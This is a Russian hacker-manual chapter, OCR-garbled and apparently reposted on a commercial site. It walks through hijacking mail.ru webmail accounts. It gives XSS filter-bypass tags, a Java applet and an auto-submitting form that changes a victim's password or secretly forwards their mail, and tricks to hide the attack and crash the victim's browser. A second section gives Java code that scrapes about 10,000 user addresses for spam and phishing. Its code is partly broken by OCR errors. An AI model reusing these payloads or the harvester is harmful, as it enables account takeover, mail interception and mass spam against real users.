БИБЛИЯ ХАКЕРА

Некоторые методы технического взлома почтового ящика с WWW-интерфейсом (на примере Www. mail. ru )

В последнее время значительную популярность обрели почтовые системы на основе WWW-Интерфейса (Www. hotmail. com, Www. mail. com, Www. netscape. net в России — Www. mail. ru). Web-почту «местного значе­ния» также предлагают провайдеры, работающие по схемам «Internet- Кард» или «Internet-в-кредит». Честно говоря, автору совершенно непо­нятны причины такого успеха. Сторонники подобных систем обычно заявляют о простоте и удобстве пользования, при большей безопасности, ссылаясь на огромное количество вирусов и печальный пример MS Outlook и MS Outlook Express 5. Первые два аргумента, похоже, соответ­ствуют действительности, а о безопасности поговорим чуть ниже.

Здесь будет рассмотрен один из вариантов технического подхода к вскрытию почтового ящика, основанного на совместном использовании недоработок современных браузеров, принципиальныхнедостатках CGI, и ошибках в политике безопасности почтовых служб. Именно он чаще всего применяется в атаках на Web-почту. Для «конкретности», будет описан найденный автором метод «захвата» или «подслушивания» поль­зователя популярной в России системе mail. ru и способ защиты.

Принципиальные недостатки безопасности

WWW-почты

Ненадежность обычной почтовой программы определяется безгра­мотностью её написания.

Браузер же как система прочтения почты изначально недостаточно безопасен, поэтому создатели почты вынуждены налагать ограничения на тэги, используемые в письмах (<script.;.>, <iframe>). Как правило, встро­енный фильтр просто удаляет «небезопасные» с его точки зрения ин­струкции. Принципиальных недостатков у подобного подхода два: слишком строгие фильтры могут повредить само письмо, да и трудно пре­дугадать заранее, на что способна безопасная с виду конструкция. Тем не менее, именно на фильтрации основаны большинство существующих почтовых систем.

Самый же уязвимый элемент — это способ задания пользователь­ских настроек и пароля. Они, как правило, задаются с помощью CGI - форм (как наиболее распространённого стандарта) по тем же каналам, что используются для работы с почтой, и могут быть вызваны любым членам сети, сумевшим подделать IP и cookies пользователя, или (что гораздо проще) временно захватившим контроль над браузером.

Технология атаки

Итак, мы решили перехватить контроль у пользователя хххх почто­вой системы с Web-интерфейсом, например, yyyy. zz. Только убедитесь, что он действительно пользуется web-интерфейсом, а не читает почту че­рез рорЗ-сервер или пользуется форвардингом.

Заводим почтовый ящик на этом же сервисе и в первую очередь смотрим, как задаются и изменяются пароль и прочие настройки. На mail. ru (и многих других) это делает обычная форма, результаты заполне­ния которой передаются в CGl-скрипт cgi-bin/modifyuser? modify.

Для идентификации пользователя, похоже, используется скрытое

Поле:

<input type="hidden" name="Username" value="intst1">

Нам предоставляется возможность изменить: имя пользователя: <input type="text" name="RealName" value="A. V. Komlni">

адрес пересылки (форвардинга) и возможность сохранения почты при этом:

Cinput type="text" name="Forward" value="..."> <ihput type=checkbox name="Flags. DoNotKeepMail" >

пароль:

<input type="password" name="Password" value="****************"> <input type="password" name="Password_Verify" value22" **************** ">

Попробуем сформировать соответствующий файл, задав в скрытом поле имя интересующего нас пользователя и отослать форму, т. к. CG1, увы, не проверяет место нахождения формы-запроса.

<form method=post action="Http://koi. mail. ru/cgi-bin/'

Modifyuser? modify">

He получилось. Быть может, в интересующей вас системе этого ока­жется достаточно, а в mail. ru такие шутки не проходят.

Значит, пользователь идентифицируется с помощью cookies или, хуже того, IP. Пробуем вручную отредактировать cookies — результат тот же. Следовательно, эту форму должен отослать сам пользователь.

Наиболее простой способ захвата контроля над браузером — внед­рение <script> и &{...} конструкций в письмо — давно уже пресечён с по­мощью фильтров почти всеми, и таіі. гив том числе. Тем не менее попро­буйте, чем чёрт не шутит. Если тэги разрешены, то фильтрация самого javascript иногда может быть обойдена при помощи средств динамической генерации кода.

Неплохой результат иногда дают конструкции вида:

<тег [XX]SRC=...>

Например,

<IMAGE LoSrc="javascript..."...> CIFRAME SCR="about: <script...> „."> для IE и

<ilayer src="mocha;.„">

Для NC. («mocha» — это старый, всеми позабытый аналог модификатора «javascript», сохранившийся в NC). Вообще, чем реже используется тот или иной тэг, тем больше вероятность, что разработчики забыли его от­фильтровать... Недостаток этого подхода в том, что требуется знать тип и версию используемого браузера.

К сожалению (вернее к счастью), у программистов mail. ru память хорошая. В конце концов это их и подвело. Наверное, они (да и не толь­ко они, похоже) читали «умные» книжки, запомнив, что Java — одна из самых безопасных технологий в сети. Поэтому и разрешили тэг <Applet...>.

В стандарте Java есть класс позволяющий

Нам открывать новые окна или менять текущие. URL myURL=new URL("http:...editprofil. html"); getAppletContext().showDocument(myURL,"_self"); getAppletContext().showDocument(myURL,"newwin"); На любой общедоступной страничке размещаем файл (содержащий требуемую форму), прописываем к нему путь в апплете, ко­торый размещаем там же и высылаем пользователю письмо, содержащее вызов апплета. Этот эксплойт не зависит от браузера, одинаково «хорошо» работая в IE и NC. <applet

Code=readr. class name=readrie codebase="_nyTt>_/" width=320 height=240 > <B> SET Java On</B> </applet>

Readr. java (не забудьте отредактировать _ПУТЬ_)

Import Java. applet. *; import java. awt.*;

Import

Public class readrie extends Applet {

Public void paint(Graphics g)

{ try {

URL myURL=new URL("_nyTb_editprofil. html"); getAppletContext(),showDocument(myURL,"_self");

} catch (Exception e) {

G. drawString("Error", 10, 10); > '

} }

Editprofil. html

(не забудьте отредактировать ИМЯ_П0ЛЬ30ВАТЕЛЯ и Н0ВЫЙ_ПАР0ЛЬ)

<html>

<body>

<form method=post action="Http://koi. mail, ru/cgi - bin/modifyuser? modify">

<input type="hidden" name="Username" value=" ИМЯ_ПОЛЬЗОВАТЕЛЯ "> <input type="text" name="RealName" value="A. V. Komlni"> <:input type="text" name=" Forward" value=""> <input type="password" name="Password" value=" Н0ВЫЙ_ПАР0ЛЬ "> <input type="password" name="Password_Verify" value=" Н0ВЫЙ_ПАР0ЛЬ ">

<input type=checkbox name="Flags. DoNotKeepMail" >

He сохранять почту при пересылке<Ьг>

<input type="submit" уа1ие="Сохранить"> <input type=" reset"

Уа1ие="Восстановить">

</form>

<SCRIPT LANGUAGE="JavaScript"> document. forms[0].submit();

</script>

</body>

</html>

Письмо можно сформировать просто присоединением (attach) HTML-файла (в Netscape Messenger, например) содержащего необходи­мые тэги. Присоединенный в Messenger'e HTML-файл mail. ru откроет автоматически.

Как только абонент попытается прочитать письмо, выполнится агшлет, и через несколько секунд форма будет отослана от имени жертвы.

Вот, в принципе, и всё. Пользователю присвоен новый пароль. Ес­ли мы хотим «просто подслушивать» пользователя, в значение полей Password необходимо внести 16 звёздочек, а в поле Forward — куда отсы­лать копии. Это довольно рискованный вариант: пользователь может случайно заглянуть в настройки и заметить адрес.

Cinput type="text" name="Forward" value="Spy_addr@xxxx. zz"> <input type="password" name="Password" value="****************"> <input type="password" name="Password_Verify" value="****************":>

Макияж...

He стоит, конечно, проводить всю эту процедуру перед глазами пользователя (может он ещё не отключил подтверждение на отправку форм или успеет запомнить разглядеть и запомнить новый пароль). Ра­зумнее переадресовать апплет на какой-нибудь файл содержащий frame­set:

<FRAMESET C0LS="99%, 1Г>

<FRAME SRC="zastavka. html" NAME="v1">

<FRAME SRC="editprofile. html" NAME="w1">

Где zastavka маскирует письмо под безобидную рекламу или дружеское письмо, a editprofile выполняется в невидимом фрейме.

По окончании смены паролей лучше сымитировать сбой т. к. в тече­нии сеанса пользователь может исправить пароль. В IE под Win 95/98, на­пример, достаточно выполнить скрипт:

Open("javascript:open(window. location)"); приводящий к бесконечному размножению окон, требующему переза­грузки. Само письмо лучше отослать (на случай неудачи) от анонимной службы рассылки писем.

Защититься от этой атаки как всегда просто. Отключить Java, а луч­ше, отказаться от использования Web-интерфейсов. Тот же mail. ru пред­лагает и форвардинг и рор-сервера. Экономия на настройке приносит проблемы с безопасностью не только администраторам больших сетей, поверьте.

Составляем список абонентов сервера

Заветной мечтой всех мира является список (база) або­

Нентов. Недаром, в их среде постоянно ходят слухи о каких-то почтовых серверах, поддерживающих команду finger. Часто на форуме можно ви­деть крик души:

"Нужна база е-мейлов по заграничным и Московским сайтам $$$ -

Вася 02:53:36 06/1/2000 (0)"

Нередко почтовые Web-сервера могут «бесплатно» предоставить подобную информацию. Метод её получения довольно прост. При ле­гальной работе с почтовым ящиком запоминаем адреса CGI-скриптов, ответственных за смену и чтение параметров пользователей. Потом вызы­ваем их без параметров (форм). Вполне вероятны ошибки в скриптах, при которых они отработают с последними занесёнными (или использующи­мися в текущий момент) именами пользователей.

Конечно, шансы на то, что параметры можно изменить, нулевые, а вот сообщение об ошибке доступа вполне может содержать имя пользо­вателя, как это происходит на mail. ru. При обращении к тому же Http://Koi. mail. ru/cgi-bin/modifyuser? modify выдаётся сообщение вида:

Настройки пользователя Mnebojsa@mail. ru

Ошибка. Не заполнены необходимые поля.

При следующем обращении «сдастся» следующий пользователь или «@/» если таковых не окажется. Осталось иссдедовать внутреннюю струк­туру ответа, да написать программу, повторяющую подобные запросы и фильтрующую ответ в поисках нужной информации. Лучше запускать её в часы пик:

Import java. io. *;

Import java. net. *;

Import java. util. *;

Public class getname { public static void mai, n(String args[]) { String nextline;

Try {

URL mailserv= new URL

("Http://koi. mail. ru/cgi-bin/modifyuser? modify");

For (int i=1;i<=10000;i++)

{

DatalnputStream input = new DatalnputStream ( mailserv. openConnection().getlnputStream()); nextline=input. readLine(); nextline=input. readLine(); nextline=input. readLine();

// Нужный нам адрес - в третьей строке выходного документа System, out. println( nextline); input, close();

>

>

Catch (Exception ioe) {

System. out. println(ioe. toString());

>

І

К

Вызовы команд вида (в среде JDK):

:javac getname. java - компилируем файл

:java getname > userlist. txt занесут в файл userlist. txt примерно 10000 e-mail адресов.

Теперь больной манией величия «хаксор» вполне может создать программу, автоматически рассылающую письма-ловушки отбирающие почтовые ящики, практичный спаммер — рекламу, а конкуренты — сооб­щение, вида: «бесплатный сервис mail. ru будет с начала месяца прекра­щён, воспользуйтесь xxxx. ru» или всё вместе.

БИБЛИЯ ХАКЕРА

Эта заподлистая кнопка power — как отключить?

На клавиатуре есть кнопка - у меня под делетом сразу, power называется - соответственно значок "яблоко с прямым хвостиком"... Какого гондураса её не разместили где-нибудь в другом месте да подальше …

Безопасность

Так уж устроен мир, что любое техническое изобретение человече­ского разума, расширяющее наши возможности и создающее для нас до­полнительный комфорт, неизбежно содержит в себе и отрицательные стороны, которые могут представлять потенциальную …

Прямой (кривой номер), АОН, БП и переадресация Прямые и кривые номера

Номера сотовых телефонов могут быть прямыми и кривыми. Пря­мые — это обычные городские семизначные (в Москве) номера, кривые (или федеральные) — набирать через коды 901, 902, 903, 501 или другие, …

Как с нами связаться:

Украина:
г.Александрия
тел./факс +38 05235  77193 Бухгалтерия

+38 050 457 13 30 — Рашид - продажи новинок
e-mail: msd@msd.com.ua
Схема проезда к производственному офису:
Схема проезда к МСД

Партнеры МСД

Контакты для заказов оборудования:

Внимание! На этом сайте большинство материалов - техническая литература в помощь предпринимателю. Так же большинство производственного оборудования сегодня не актуально. Уточнить можно по почте: Эл. почта: msd@msd.com.ua

+38 050 512 1194 Александр
- телефон для консультаций и заказов спец.оборудования, дробилок, уловителей, дражираторов, гереторных насосов и инженерных решений.